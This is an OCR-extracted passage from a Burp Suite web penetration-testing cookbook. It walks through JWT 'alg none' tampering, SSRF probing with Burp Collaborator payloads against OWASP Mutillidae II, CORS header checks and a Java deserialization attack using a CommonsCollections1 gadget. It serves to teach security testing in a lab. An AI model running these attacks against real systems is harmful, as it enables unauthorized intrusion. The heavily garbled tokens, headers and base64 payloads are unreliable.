¥-Content-Type-Options: nosnitf
M=Correlation=TId: 8478c£5a=833b~-d1£a=-090e-e2S80007bdd
H-Frame-Opeions: SAMEORIGIN

Send to Intruder Cari+l

5. Switch to the Repeater tab and notice that you have two additional tabs relating
to the two extensions you installed:
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fTarget TProxy TSpHer TScanner T Intruder T Repeater rSequenur TDecnd-er Tc-amparer T Extender ]ﬁ

(L2 a]s~]5x]6xfaele~]o-]-]
T| Cancel <|v ]T

Request

| [ Raw | params | Headers | Hex | JsON Beautifier | JSON web Tokens |

POST faccess/auth HTTP/l.1

Host: sunshine-solutions-llc-dev.onelogin. com

User=Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x&4; rv:£1.0) Gecko/Z0100101
Firefox/el.0

Accept: application/json

Acecept=-Language: en-US_ en;q=0.5

Accept-Encoding: gzip, deflace

Peferer:

hteps: //sunshine-solutions-lle-dev. onelogin. com/loginl/?return=eyJhbGeifiJIUzIINiIsI
nRScCIEIkpHVCIS. eydhdWli0iJEQONFULMLLCIpe 3Mi0iJNTOSPULFITCIs InVyasIe Inh0dHEz0i8ve 3V
uelhpballt e 28 sd Ppbl e LWe sy L 2V ub 25 b GSnaW4uY 2 St L2 xvZ 2 lul iwibWW0atsk 1901 Z22V0TiwiZX
hwljoxNTMZOTESND QwLCIw{dhb:Miine S £0. VGhFWh3yiglTChkpqeThESSKSVGOCGIVIZOTp4MEVInz g
content-type: application/json

origin: htetps://sunshine-golutions-lle-dev.onelogin. con

Content-Length: ZBO

Cookie:

sub_session_onelogin. com=BAh7ByIf¥ndvd3Nlcl92ZXIpZul jTHRpbl fdGorZW4iRTI4ZDTwY Y NRE
WZIFIND lnOWN LT WUz OWY xMj TS EDkyZWU0Y zhnMWE SHGHhZ T EnlzU2 0DJk ODE4NZ Q3MzMxND IED 3Nl c3Nph
S5faWQiKWIZMTASOGISLT LhZJAtND e 3Ny LhMTALLTI4YJEOY2FiO0TdrZgs3D%3D- -9 £fhéS4ch £dT9ce0%5ch
E3cEZfB15Bal7f9Beeb5d; _ tdli=dA3aelle-Secf-486f-ad9f-B3918dEd4794;
_tdli_fp=eT7c75clBff4d40d45351laa%doeaibicd;

onelogin. com user=Eb5T70L05Eh5Ecececfallclilffacfedlldds8dibe;
subdomain=sunshine-solutions=llc=dev; _ga=GAl. . 351109700.153E915271;
_gid=GAl.Z.1E67E52E486.1536915271;

mp_ 4E8T75501d24ELESZebE£c4012281 70Tl nixpanel=tT7Bt 2 distinct 1d%22834%20822134384800
$IC Zlconmpany ¥y T8 AN 08 Z225unshine$ 050 lut ions¥ ZCY ZOLLCE 228 ZCe 2ot _requireds 2T 3AMD
0%Z22false¥Z2%2C%20%24initial_referrer$22%3A%20% 2 httpsi3AYIFZFsunshine-solutions-1
le-dev. onelogin. com$2Flogin2% 2Ft 3Freturnt 3DeyThbhGeidiJIUSTIINI Is InREcCIETkpWC IS . eyd
hdW it iJEQONFUIMIiLCIpe 3Mi0iINTOSPUEFITCIs InVyaSIE Imh0dHE=z0i8ve3Vue ZhpbnUt e 295 dXEpbh
SELWxsTylkZXTub IS lbGonaWdui ISt LbylslnlldGhviClelndldClsInV4cCIeNTUz kx0T IzNywicGFy YT
WlzIjp7LX0. fUsHOmS4peNags aVE CEHEVHAK Tnnd0CgfoCp0lX wlUsI282C 224 24initial referring
_domain% 228 3A% 208 Z2sunshine-solutions-lle-dev. onelogin. com¥22% 7D

Connection: close

{"recurn": "eyJhbGeci0iJIUZIINAIs InRScCIEIkpXVCIS . ey ThdWQi0AJBQONFULNILCIJpe3MAi0iJNTOSP
UkFITCIsInVyaSlelnh0dHBz0i8ve3Vue ZhpbulUt e 29s dXPpbl 52 LWas Yy Lk ZXTub 28 LbG9naW4uyY 29t Lix
vEZ2luliwibWW0atskIjoiZ2V0liwiZ¥hwIjoxNTH2O0TESHND QwlCIw Y IhbXMiOnt S £0 . VChFWh3yj g2 TClp
qeThESSKSVGOCGIVZOYp4NEVInzg" }
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6. Click the JSON Beautifier tab to view the JSON structure in a more readable
manner:

T| Cance <iv || >

Request

[ Raw I Params I Headers I Hex || JSON Beautifier | JSON Web Tokens ]
{

"return®:
"eyJhbhGeiliJIUzIINiIs InRSeCIETkpXVCIS . ey JhdW(i0iJEQONFULIMiLCJpe3Mi0iJNTOSPULFITCIsIn
VyaSIléInh0dHE=01i8ve3VucZhpbnUt e 2895 dXPpb l 52 LWxs Yy lk ZXub 251 b Go9naW4u¥ 2o LixvZ 2 luliwib
WV0aGSkIjoiZ2ZV0IliwiZkhwljoxNTMZOTESND QwLCIwYdhb:MiOntS£Q0 . VGhFWh3y gl TChkpgeYThESSXSY
GOCGIVZOVp4MEVInzg"
}

7. Click the JSON Web Tokens tab to reveal a debugger very similar to the one
available at https://jwt.io. This plugin allows you to read the claims content
and manipulate the encryption algorithm for various brute-force tests. For
example, in the following screenshot, notice how you can change the algorithm
to nOnE in order to attempt to create a new JWT token to place into the request:
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Go Cancel | [ <|¥ || >|¥
Request
[ Raw T Params T Headers T Hex T JSON Beautifier | JSON Web Tokens
Headers = | : D jtomaticalh gnature
"alg" "RE . Recs ate Signatu
"eyp” TIWT", eep original signature
"jwk" { ) R
"kty" : "RSA", : .
"lkid" "jutdbliportsui Secret / Key for Signature recalculation:
fuge” 'sig",
Pyt "LOLE",
et TALJQIif9UZsHVALC
}
¥
Payload = |
Taud" "ACCESS",
rigs" IO IL™,
furi® "https://sunshin Alg None Attack:
"rethod™ "get”, Alg nONE
Texp" 1536919440,
mparams” : { } (] cVE-2018-0114 Attack
¥ [exp] Expired check failed - Fri Sep 14 10:04:00 UTC 2018
=
Signature = "VozZ7CrhOiLChlw
<\ J v [ Copy used pub&priv key to clipboard used in CVE attack J

How it works...
Two extensions, JSON Beautifier and JSON

Web Tokens, help testers to work with JWT

tokens in an easier way by providing debugger tools conveniently available with the Burp

UL

[
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Using Burp Collaborator to determine SSRF

SSRF is a vulnerability that allows an attacker to force applications to make unauthorized
requests on the attacker's behalf. These requests can be as simple as DNS queries or as
maniacal as commands from an attacker-controlled server.

In this recipe, we will use Burp Collaborator to check open ports available for SSRF
requests, and then use Intruder to determine whether the application will perform DNS
queries to the public Burp Collaborator server through an SSRF vulnerability.

Getting ready

Using the OWASP Mutillidae II DNS lookup page, let's determine whether the application
has an SSRF vulnerability.

How to do it...

1. Switch to the Burp Project options | Misc tab. Note the Burp Collaborator
Server section. You have options available for using a private Burp Collaborator
server, which you would set up, or you may use the publicly internet-accessible
one made available by PortSwigger. For this recipe, we will use the public one:
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[Target I Proxy T Spider T Scanner T Intruder I Repeater I Sequencer TDecud-er T Comparer T Extender | Project options

I Connections I HTTP I SSL I Sessions || Misc

@ Scheduled Tasks

LQJ These settings let you specify tasks that Burp will perform automatically at defined times or intervals.

| A J Time | Repeat | Task

| Edit

Remove >

sz Burp Collaborator Server

Cl Burp Collaborator is an external service that Burp can use to help discover many kinds of vulnerabilties. You can use the
option is most appropriate for you.
@ Use the default Collaborator server
() Don't use Burp Collaborator

(U Use a private Collaborator server:

Server location:

Polling location (optional):
[J Poll over unencrypted HTTP

| Run health check .. |
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2. Check the box labeled Poll over unencrypted HTTP and click the Run health

check... button:

Server Iocation:

Polling location (optional):

Burp Collaborator Server

® Use the default Collaborator server
(U Don't use Burp Collaborator

() Use a private Collaborator server:

H
@ Burp Collaborator is an external service
opticn is most appropriate for you.

{ Run health check ... J

(] Poll over unencrypted HTTP

3. A pop-up box appears to test various protocols to see whether they will connect

to the public Burp Collaborator server available on the internet.

4. Check the messages for each protocol to see which are successful. Click the

Close button when you are done:
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[ 4] Burp Collaborator Health Check

@ Burp Collaborator Health Check

O X

Initiating health check

Server addrezs resolution

Server HTTP connection

Server HTTPS connection (trust enforced)
Server HTTPS connection (trust net enforced)
Server SMTP connection on port 25

Server SMTP connection on port 587

Server SMTPS connection (trust enforced)
Server SMTPS connection (trust not enforced)
Poling server address resolution

Polling server connection

Verify DNS interaction

Verify HTTP interaction

Verify HTTPS interaction

Verify SMTP interaction

Verify SMTPS interaction

Server version

Success
Success
Success
Success
Success
Success
Success
Success
Success
Success
Success
Success
Success
Success
Success
Success

il tests were successful

Close

5. From the top-level menu, select Burp | Burp Collaborator client:

C0Tgl Intruder Repeater Window Help

Search

Save copy of project

Import project [disk projects only]
Rename project

Project options

User options

Passwords

y¥vw

Burp Infiltrator
Burp Clickbandit

Burp Collaborator client

Save legacy state file

Restore legacy state file

Exit
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6. A pop-up box appears. In the section labeled Generate Collaborator payloads,
change the 1 to 10:

[ ?| Chck "Copy to clipboard™ to genérate Burp Colaborator payloads that you can use in your own lésting. Any interactions that resull from using the payloads will appear below

Number to generate: | 1 L Copy to cipboard (1 () nclude Collaborator server location

Poll Collaborator interactions

Poll every &0 seconds | Pollmow |

& & Time Type Payload Comment

Close

7. Click the Copy to clipboard button. Leave all other defaults as they are. Do not
close the Collaborator client window. If you close the window, you will lose the
client session:

‘f Burp Collaborator client

IEJ Click "Copy to clipboard” to generate Burp Collaborator payloads that you can use in your own testing.

Generate Collaborator payloads

MNumber to generate: | 10 Copy to clipboard & Include Collaborator server location

Poll Collaborator interactions

Poll every |60 seconds Poll now
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8. Return to the Firefox browser and navigate to OWASP 2013 | A1 - Injection
(Other) | HTML Injection (HTMLi) | DNS Lookup:

@ OWASP Mutillidae 1l: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5¢cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 Al - Injection (SQL)

Al - Injection (Other) »  HTML Injection (HTMLI) » Add to your blog

OWASP 2010
A2 - Broken Authentication and » HTMLI via HTTP Headers » Browser Info
OWASP 2007 Session Management

HTMLI Via DOM Injection »  DNS Lookup

9. On the DNS Lookup page, type an IP address and click the Lookup DNS button:

| DNS Lookup |
<@ Back Q Help Me!
Hints
f_s,
A‘Ax Switch to SOAP Web Service Version of this Page

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP (192.168.56.101

Lookup DNS
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10. Switch to the Burp Proxy | HTTP history tab and find the request you just
created on the DNS Lookup page. Right-click and select the Send to Intruder
option:

Burp Intruder Repester Window Help

[Target Proxy | Spider ] Scanner I Intruder T Repeater ]'Sequeneer ] Decoder I Comparer I Extender Iﬁujedupﬁun: ] User options | Alerts | JSON Beautifier IJSOH Web Tokens I_

[ Intercept T HTTP history ] ‘WebSockets history I Options }

‘ Filter: Showing all tems

[#  [Host | Method | URL |Para.. 4 Edted |Staws |Length | MMEtype |Extension | Tie
\ﬂ;sK hitp://192.168.56.101 POST  imutil hp?page=dns-lookup.php v 200 48730 HTML ohe
-

Request | Response

Raw | Params | Headers | Hex

POST /mucillidae/index phplpage=dns-lookup.php HITP/L 1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; rv:€l.0) Gecko/Z0100101 Firefox/E1.0
Accept: text/html,application/xhtmltxml,application/xml;q=0.9,%/*%;q=0.8 Send to Spider
Accept-Language: en-US, en;q=0.5 Do an active scan
Accept-Encoding: gsip, deflate

Referer: htep://192.160.56.L01/mutillidae/index. php?page=dns-lockup.php

Do a passive scan

Contenc-Type: application/x-www-form-urlencoded Send to Intruder CtriH
Content=Length: E& Send to Repeater Cirl+R
Cooclkie: shovhints=l; PHPSESSID=deudlotk7ivgiihllpedd®irol; P ivids=swingset, jorto,phpbbl, 1 Send to Sequencer

Connection: close

Upgrade-Insecure-Requests: L Send to Comparer

Send to Decoder

11. Switch to the Burp Intruder | Positions tab. Clear all suggested payload markers
and highlight the IP address, click the Add § button to place payload markers
around the IP address value of the target_host parameter:

[Target l Proxy T Spider T Scanner Thmudu I Repeater TSequml:er l Decoder T Comparer T Extender l Project options. T User options lAIerts T JSON Beautifier TJSON Web

1 ZKI..‘

[ Target | Posiions | Payioacs | options |

(2J Payload Positions

Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which pay are i to payload i - see help for full

Aftack type: | Sniper

POST /mutillidae/index.phplpage=dns-lookup.php HITP/L.1

Host: 192.1£8.5€.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x&4; rv:E1.0) Gecko/Z0100101 Firefox/E1.0
Accept: text/html, application/xhtml+xml, application/xml ; q=0.% */*;q=0.8

Accept-Language: en-US,en;q=0.5§

Accept-Encoding: gzip, deflate

Referer: http://152.168.56.101/mutillidae/index. php?page=dns-lockup.php

Content-Type: application/x-www-form-urlencoded

Content-Length: &6

Cookie: showhints=1; PHPSESSID=dcudlotkTfvqlihZlpcd449irol; acopendivids=swingset, jotto,phpbbZ, redmnine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1
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12. Switch to the Burp Intruder | Payloads tab and paste the 10 payloads you copied
to the clipboard from the Burp Collaborator client into the Payload Options
[Simple list] textbox using the Paste button:

@ Payload Options [Simple lisf]

This payload type lets yvou configure a simple list of strings that are used as payloads.

Paste cgwvh3alZyvyhwnzgdbjgree3dkueid.burpcollab. .. |l

Nn42iwv3n7 gfusésbdwsrpclzc530rp.burpeoliabor... i
Load ... B2mgfi7505e3s8vbggbnwijapilpa.burpcollabora...

vihejgcidhxhbfpiznd28ztvgmmdj1 8. burpcollaborat. .
Remove v35eas3jvhoh2fgind2zzkvimddb10.burpcollabor... »>

Dilixcodmembkpnssd7 84t0grmilGa.burpcollaborato. ..

Clear Birrjscw4uxubspvs0dfictBgzmgmeb.burpcollabor...
s81b%p2guenelcffiklzywisSjcady2 burpcollabor... K
vhijhivbm3kwkaiclrgeST2syfplgndc.burpcollaborat... |"’

Add Enter & new item

—

Add from list ... d

Make sure you uncheck the Payload Encoding checkbox.

13. Click the Start attack button. The attack results table will pop up as your
payloads are processing. Allow the attacks to complete. Note the
burpcollaborator.net URL is placed in the payload marker position of the
target_host parameter:

J Intruder attack 3 — 0

Atftack Save Columns

j Resuits T Target T Positions T Payloads. T Options ]

‘ Fiter: Showing all tems ?
Request & | Payload | Status | Error | Timgout | Length | Comment |
0 200 ] a 48730
1 iflomulmnv&twdpeiséméy37Sybozd. burpcollaborator.net 200 d d 43757
2 fAplgrujhs2ggajbepyjyv3d4zvSmib. burpcellaberator.net 200 ] O 48787
3 jpcpwvanxwiuGezistenezjgfzirdg.burpcollaborator.net 200 OJ ] 48767
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14. Return to the Burp Collaborator client and click the Poll now button to see
whether any SSRF attacks were successful over any of the protocols. If any
requests leaked outside of the network, those requests will appear in this table
along with the specific protocol used. If any requests are shown in this table, you
will need to report the SSRF vulnerability as a finding. As you can see from the
results shown here, numerous DNS queries were made by the application on
behalf of the attacker-provided payloads:

| 8 O

w Click "Copy to clipboard” to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the payloads will appear below.

Generate Collaborator payloads
Number to generate: | 10 Copy to clipboard [ Include Collaborator server location
Poll Collaborator interactions
Poll every |60 seconds Poll now
# A|Time | Type | Payload | comment
1 2018-Sep-15 11:56:34 UTC DNS zvyr52di9zslyw 3fifpwdksTvy1ppe K
2 2018-Sep-15 11:56:35 UTC DNS liBduo14xlu7mir191di16atikpfdd
3 2018-Sep-15 11:56:36 UTC DNS wwwoT7zefawTiztdcmegtehtdwv2rgg
4 2018-Sep-15 11:56:35 UTC DNS 7fnzgaxgt7gtiénnSnS4xscffBldgt
5 2018-Sep-15 11:56:34 UTC DNS raSjlusaocriddei70740scTzaqog4s
[+ 2018-Sep-15 11:56:34 UTC DNS 69dykIrpnSksc3hmzm33rreed5fx3m
7 2018-Sep-15 11:56:36 UTC DNS 1qst148k411ntyyhghkyBmn9g0wxkm
a 201R.Sen8 11-64-35 1T nhE 20k 2kdrtnakiu rThazaiTruBiGafR e 5
Description | DNS query
The Collaborator server received a DNS lookup of type A for the domain name zvyr62di9z6lyw3flfpwdks7vy1ppe.burpcollaborator.net.

How it works...

Network leaks and overly-generous application parameters can allow an attacker to have
an application make unauthorized calls via various protocols on the attacker's behalf. In the
case of this recipe, the application allows DNS queries to leak outside of the local machine
and connect to the internet.

See also

For more information on SSRF attacks, see this PortSwigger blog entry at https://
portswigger.net/blog/cracking-the-lens-targeting-https-hidden—-attack-surface.
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Testing CORS

An application that implements HTML5 CORS means the application will share browser
information with another domain that resides at a different origin. By design, browser
protections prevent external scripts from accessing information in the browser. This
protection is known as Same-Origin Policy (SOP). However, CORS is a means of
bypassing SOP, permissively. If an application wants to share browser information with a
completely different domain, it may do so with properly-configured CORS headers.

Web-penetration testers must ensure applications that handle AJAX calls (for example,
HTMLY5) do not have misconfigured CORS headers. Let's see how Burp can help us identify
such misconfigurations.

Getting ready

Using the OWASP Mutillidae II AJAX version of the Pen Test Tool Lookup page,
determine whether the application contains misconfigured CORS headers.

How to do it...

1. Navigate to HTML5 | Asynchronous JavaScript and XML | Pen Test Tool
Lookup (AJAX):

@4 OWASP Mutillidae Il: Web Pwn in Mass Product

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View

-
Pen Test Tool Lookup (AJAX Version)

HTML 5 Web Storage

Others JavaScript Object Notation (JSON)

Asyncronous JavaScript and XML ¥ | Pen Test Tool Lookup (AJAX)
Documentation (AJAX)
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2. Select a tool from the listing and click the Lookup Tool button:

| Pen Test Tool Lookup (AJAX Version) |

% Back e Help Me!

& 3

3 |

e
‘L !ll Switch to POST Version of page
L

—Pen Test Tools

[ Select Pen Test Tool ]

Pen Test Tool XSS Me v

Lookup Tool

3. Switch to the Burp Proxy | HTTP history tab and find the request you just made
from the AJAX Version Pen Test Tool Lookup page. Flip to the Response tab:

[ 7arges | proxy, | spaer | scanner | mrucer | mepesser | sequencer | Decoser | comparer | excencer | prowct optons | user eptons | aswens | 1son Besutmer | 150 wen Touens | Java Serwixser |
lm]mmiwmnmy]om]

Fiter Showing al bems.

& Host Method | URL Pora.. &|Edied | Staus | Leagih | MMEfype | Exicosion | Tie Comment s (P Cockies

189 hopunaz 16856101 POST  /mutSCae/aBOUIOOKUp-pen-test 001D v 00 e 1500 e 182 16856101

ELS T Ld
| Request wnui

=
Headers | Hex | JSON Besutiter |
3

4.3 PHP/G.3.2-lubuseud, 30 with Subssin-Parch presy_besl/3.0.1 med pythons3.3, 1 Pyrhon/2.6. 5 med_ssl/2,. 2, 14 OpsnSSL/0. 5.8k Phusicn_Passenger/4.0. 39

12%, "penTestTools®: |{"tecl_id":*12","tool_name":"NSS Me*,*phase_to_use": “Discovery®, tool_type=:*Fusser®, comment®:-Firefox add-on. Attempts commen strings which
n SOL injection is present. Mot compatible with Firefoz 0.0.°]1}}
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4.

Let's examine the headers more closely by selecting the Headers tab of the same
Response tab. Though this is an AJAX request, the call is local to the application
instead of being made to a cross-origin domain. Thus, no CORS headers are
present since it is not required. However, if a call to an external domain were
made (for example, Google APIs), then CORS headers would be required:

intercept | HTTP history | webSockets nistory | options |

Fitter: Showing all items

# | Host | Method | URL
| 189 hitp://192.168.56.101 POST Imutilidaes/ajax/lockup-pen-test-tool.php
E |

Reguest | Response ]

[ Raw | Headers | Hex TJSCIN Beautifier ]

Mame | Value

HTTPM A 200 OK

Date Fri, 14 Sep 2018 16:54.36 GMT
Server Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/S.3.2-1ubuntu4. 20 with
X-Powered-By PHP/S.3.2-1ubuntu4.30

Expires Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control no-cache, must-revalidate
Pragma ne-cache

Content-Length 295

Connection close

Content-Type application/jzon
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5. In an AJAX request, there is a call out to an external URL (for example, a cross-
domain). In order to permit the external domain to receive DOM information
from the user's browser session, CORS headers must be present,
including Access—-Control-Allow-Origin: <name of cross domain>.

6. In the event the CORS header does not specify the name of the external domain
and, instead, uses a wild card (*), this is a vulnerability. Web pentesters should
include this in their report as a misconfigured CORS headers vulnerability.

How it works...

Since the AJAX call used in this recipe originated from the same place, there is no need for
CORS headers. However, in many cases, AJAX calls are made to external domains and
require explicit permission through the HTTP response Access-Control-Allow-Origin
header.

See also

For more information on misconfigured CORS headers, see this PortSwigger blog entry
at https://portswigger.net/blog/exploiting-cors-misconfigurations—for-bitcoins—

and-bounties.

Performing Java deserialization attacks

Serialization is a mechanism provided in various languages that allows the saving of an
object's state in binary format. It is used for speed and obfuscation. The turning of an object
back from binary into an object is deserialization. In cases where user input is used within
an object and that object is later serialized, it creates an attack vector for arbitrary code-
injection and possible remote code-execution. We will look at a Burp extension that will
assist web-penetration testers in assessing applications for Java Deserialization
vulnerabilities.
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Getting Ready

Using OWASP Mutillidae II and a hand-crafted serialized code snippet, we will
demonstrate how to use the Java Serial Killer Burp extension to assist in performing Java

deserialization attacks.

How to do it...
1. Switch to Burp BApp Store and install the Java Serial Killer plugin:

[ Target I Proxy I Spider T Scanner I Intruder I Repeater T Sequencer I Decoder I Comparer TExterbdﬂ I Project

Extensions | BApp Store T APls T Options 1

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities.

| Installed | Rating | Popularity | Last updated | Detail |

Name
o QR RG e 1 30 Jan 2077 A

| Java seral KilleT

In order to create a scenario using a serialized object, we will take a standard
request and add a serialized object to it for the purposes of demonstrating how
you can use the extension to add attacker-controlled commands to serialized

objects.

2. Note the new tab added to your Burp Ul menu at the top dedicated to the newly-

installed plugin.
3. Navigate to the Mutillidae homepage.
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4. Switch to the Burp Proxy| HTTP history tab and look for the request you just
created by browsing to the Mutillidae homepage:

{ Target T Proxy I Spider T Scanner T Intruder I Repeater I Sequencer I Decoder ] Comparer I Extender I Project options I User options T Alerts T JSON

Intercept | HTTP history T WebSockets history T Options. ]

| Filter: Hiding CSS, image and general binary content

# 4| Host | Methed | URL | Params | Edited | Status | Length MIME type | Extension
110 hitp:/f192.168.56.101 GET Imutilidae/ 200 46134 HTML
-
l Request | Response
l Raw I Headers I Hex
GET /mutillidae/ HTTP/L.1
Host: 192.168.56.101
User-Agent: Mozilla/5 0 (Windows NT 10.0; Winé4; x64; rv:61.0) Geckosop| Scndto Spider
Accept: text/html,application/xzhtmltxul,application/zml;q=0.9,*/*;q=0.8| Do an active scan
Aecept.-l.ang’ue.\qe: en=US, en;q=0.5 Do a passive scan
Accept-Encoding: gzip, deflate
Referer: http://192.160.56.101/ Send to Intruder Ctri+l
Connection: close Send to Repeater Ctr+R
Upgrade-Insecure-Requests: 1 Send to Saquencer
Send to Comparer
Send to Decoder
Show response in browser
Request in browser >
Add Issue
Send selected text to JSON Web Tokens Tab to decode

Send to Java Serial Killer

Unfortunately, there aren't any serialized objects in Mutillidae so we will have to

create one ourselves.

5. Switch to the Decoder tab and copy the following snippet of a serialized object:

AC ED 00 05 73 72 00 OA 53 65 72 69 61 6C 54 65

6. Paste the hexadecimal numbers into the Decoder tab, click the Encode as...

button, and select base 64:
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[ Target | eroxy | Soder | Scanner | iiruder | Aepeater | Sequencer | Decoder | comparer | Extender | Project optins | user options | aterts | 450N Beautfer | JSON web Tokens | Java Seriai Kiter |

AC ED 00 05 73 72 00 04 53 65 72 69 61 6C 54 65 ® Text O Hex (2]
|Decodess..  |w

=
| Hash .. =
Smart decode

QUMgRUQQMDAGMDUNIMgNzigMDA GMEE gHTMGNRUGNZIghikgHE IMGNT QghiU= @ Text O Hex

Decodess. %

Encode as ... v
| Hash . =
Smart decode

7. Copy the base-64 encoded value from the Decoder tab and paste it into the
bottom of the request you sent to the Java Serial Killer tab. Use Ctrl + C to copy
out of Decoder and Ctrl + V to paste it anywhere in the white space area of the
request:

{ Go J [ Serialize J (] BaseB4 Encode | BeanShell |"] {TJ

Command:

J Raw T Headers T Hex 1

GET /mutillidae/ HTTP/1.1

Host: 189Z2_1&8.56_101

User-Agent: Mozilla/5.0 (Windows NT 1l0.0; Winé4, x64; rv:£61.0) Gecko/Z0100101
Firefox/61l.0

Accept: text/html,application/xhtml+txnl, application/xwl;q=0.59,*/*;¢q=0.8
Aecept-Language: en-US, en;gq=0.5

Accept—-Encoding: gzip, deflate

Referer: http://182.1e68.56.10L1/

Connection: close

Upgrade-Insecure-Recuests: 1

QUHgRUQgHDAgﬂDUgNzHgNzIgHDAgHEEgNTHgNjUgNngNjngjEgNngNTQgNjU=|
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8. Within the Java Serial Killer tab, pick a Java library from the drop-down list. For
this recipe, we will use CommonsCollections1. Check the Base64 Encode box.
Add a command to embed into the serialized object. In this example, we will use
the nslookup 127.0.0.1 command. Highlight the payload and click the Serialize
button:

l Go J { Serialize J /] Bases4 Encode | CommonsCollections1 [* { ? J

Command| | nslookup 127.0.0.1

J Raw I Headers I Hex ]

GET /mutillidae/ HTTP/1.1

Host: 192.168.5&6.101

User-Agent: Mozilla/5.0 (Windeows NT 10.0; Wine4; x&e4; rw:&gl.0) Gecko/Z0100101
Firefox/€1.0

Accept: text/html, application/xhtml+xml, application/xml;q=0_5, */*;¢gq=0_8
Accept-Language: en-TUS,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://l52.1eB8.56.10L1/

Connection: close

Tpgrade-Insecure-Requests: 1

QMg RUQ oD AgMD Ui zMgliz T gMD AgMEE gl TM ol Uiz T g I g5 E gz MaT Qi U=

[329]



Implementing Advanced Topic Attacks Chapter 11

9. After clicking the Serialize button, notice the payload has changed and now
contains your arbitrary command and is base-64 encoded:

l Go J l Serialize J [z] Base64 Encode | CommaonsCollections :J ?

Command: | n=slookup 127.0.0.1

_[ Raw T Params T Headers T Hex ]

GET /mutillidae/ HTTE/1.1

Host: 1892 1£8.56.101

User-Agent: Mozilla/s5.0 (Windows NT 10.0; Wingd; x&4; rwv:el.0) Gecko/Z0100101
Firefox/81.0

Avcept: text/htwml, application/xhtml+txwl, application/mml ;gq=0.59,*/*;q=0.8
Avcept-Language: en-US,en;q=0_5&

Avcept-Encoding: gzip, deflate

Beferer: http: /182 18 55101/

Connection: close

Tpgrade-Insecure—-Regquests: 1

Content-Lengtlh: 1880

rJ0ABMITWAD J=dW4uenVnl GV d Ehlbn SwdGF 0aWsulk FubnS 0T Eph 2 5 ThnEZv T 2 F0aWsui GFul Gu 1o L9 08T
yIElAgAC TAAMEWVE T VyTnF sdWlWedAAP T Ephdn EvdPph C O ATTAARAH I wE QAR T ERL 2 xhbmew i 2 xh
ciMT7eHEs f0AARREAT WphdnEvd{Eph CENTE4 o ghanF 2V 8 8sTWENLnI 1 Znx 1V 3 QulTHIveHnh I SogsBEEDywIA
ATwAAWhOACTManF 2V S 9sYWENL 3T 1 Znx 1T 30w iWE 2 ZNhd G lvhkhihbnEsEI TeHEzc QB+ AAE=cgiqh 3 InLlnFw
TWMToZ55 bkl lth2Selnlvh G lTERph 2 5eln l e C BT Hp S TWFwhuW g S5 ETJDAAFMA A dnTWITOL 3T Al s TGSy
ZyTheGF]atUv T 29 chWouey S b Zxs ZWH0aW S ueySTenFuc 2 Zvenl lejt 4o HITyvADpwvoneuTERT 2h] LolTvl Wiy
brdu T2 59 shGV) dElvhntuEZnta T 2 Erental ZhhaWs LEF By T WS s 2n Swh Wiy e T Che lw CAAFL AL 1 pVHIhlnlTn
LRI ZIesdiieWlxveno v BhT 2 hl1 L2 NvhWlvhnMv T 29 sh GV dGlvhbnMvVHIhbnlinl: 3Tt ZXI7eHE Lo ghc WO xw
cucuTEERT 2 h] Lntwh W lvhntaY 29 sk GV dE LvhnluVH I b 3 T EXI TvT T g8 dg0 GIk CAAE 4 c AR AR AV = o ghT
LEInlnFwfWloZ55 k2 lth 2 e lnlvh Gl T2 Rph 252 lnE 1bnlT0kL 3T e LENvhnll 0T WS OVH I bt Tnb 3 T ZXI Tdp AR
QUFx IATAATwACWIDE 2 E=dGFudHAE x T HERL ZxhbmewT 2T g 2WHOD Zhwdn IAEWphdn Evb GFuZy 55 dWE0awl L
AnprnpnrpadnpadaRAcHINWVADpVenouTERT 2 h1 LnllvhWlvhnlfuT 2 9sh GV dGlvhnMfuZntuY 2 BroentfusWsEZh It L
clBEyTWE e ZnSvhWiyh+) fase B gCAAN L AAT R O Ine 30AE Lt Man F 2V 39 sTWENLOS i anVi dDc MAAE p TWV O aG5k
TuFt ZEJAEk x gV HEhL 2 xhbmev T2 RyaWind lsACZ 1 QT Ihb VRS o GVedAASWO gV EZhL 2 xhbmov (i 2 xhe 3M7eHE L
cgATWOxg T EZhlnxhhneu T2 JgZWITOOEDOWIE 0oyl sAgh e HARARACAAAFZ ZWOTRVuAdG1lE VAR T T GphdnEu
LGFuZyiDhGFecsurFoeuy8l an i TAAHwAAAAAHOACWALAEL L AGhvEHV x AH4AH AR AR T 2o g0 anF 2T EsTWER
L1NOcmluZebwphhe 0 TICAgAAeHEZ o JB+AB = JB+ABEl cQE+AE s AR A A CoHVrAHAAGuwAAAAROAAZpbnEvalZll
clBE+AB4ARAACIN TAEGRphdnEub GFuZy P Top 1Y I0AARARARAAAARAAARHhwdnEAfgAbe 3EA fgAWAKIAEl tManF 2
TEEsTWENLINOrnluZzut 01bne Rl 7w I AAHwAA R A A IARN e GO valdVwID EvITyv 4wl AvIT{JABGV4 ZWITL c OB+
AB4AARABe(QE+ACHEclB+AEFzcgARanF 2T S bsTWENnLE ludGVnZ IS4 gl 94 GHOATAAT ARX ZhbHV1 eHIAEGph
AdnEubGFufy 5 0dWli 2 Gr JUACE Tgiw I AAHwA AR A AITWVARF i EhLnViaWwuiGFzaE lho ATH sHD FuD P AwAC
BgAFhGShIEZhT3Rvekk ACKRocn Ve aGS s EHhwPOAAAAAAA AR ICARAARARARAAeHR cgASanF2TE5sTWENRLESZ
ZXIyvaWR1AAAAAAAAARRARARARAcHEAfgAE
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10. Click the Go button within the Java Serial Killer tab to execute the payload.
Even though you may receive an error in the response, ideally, you would have a
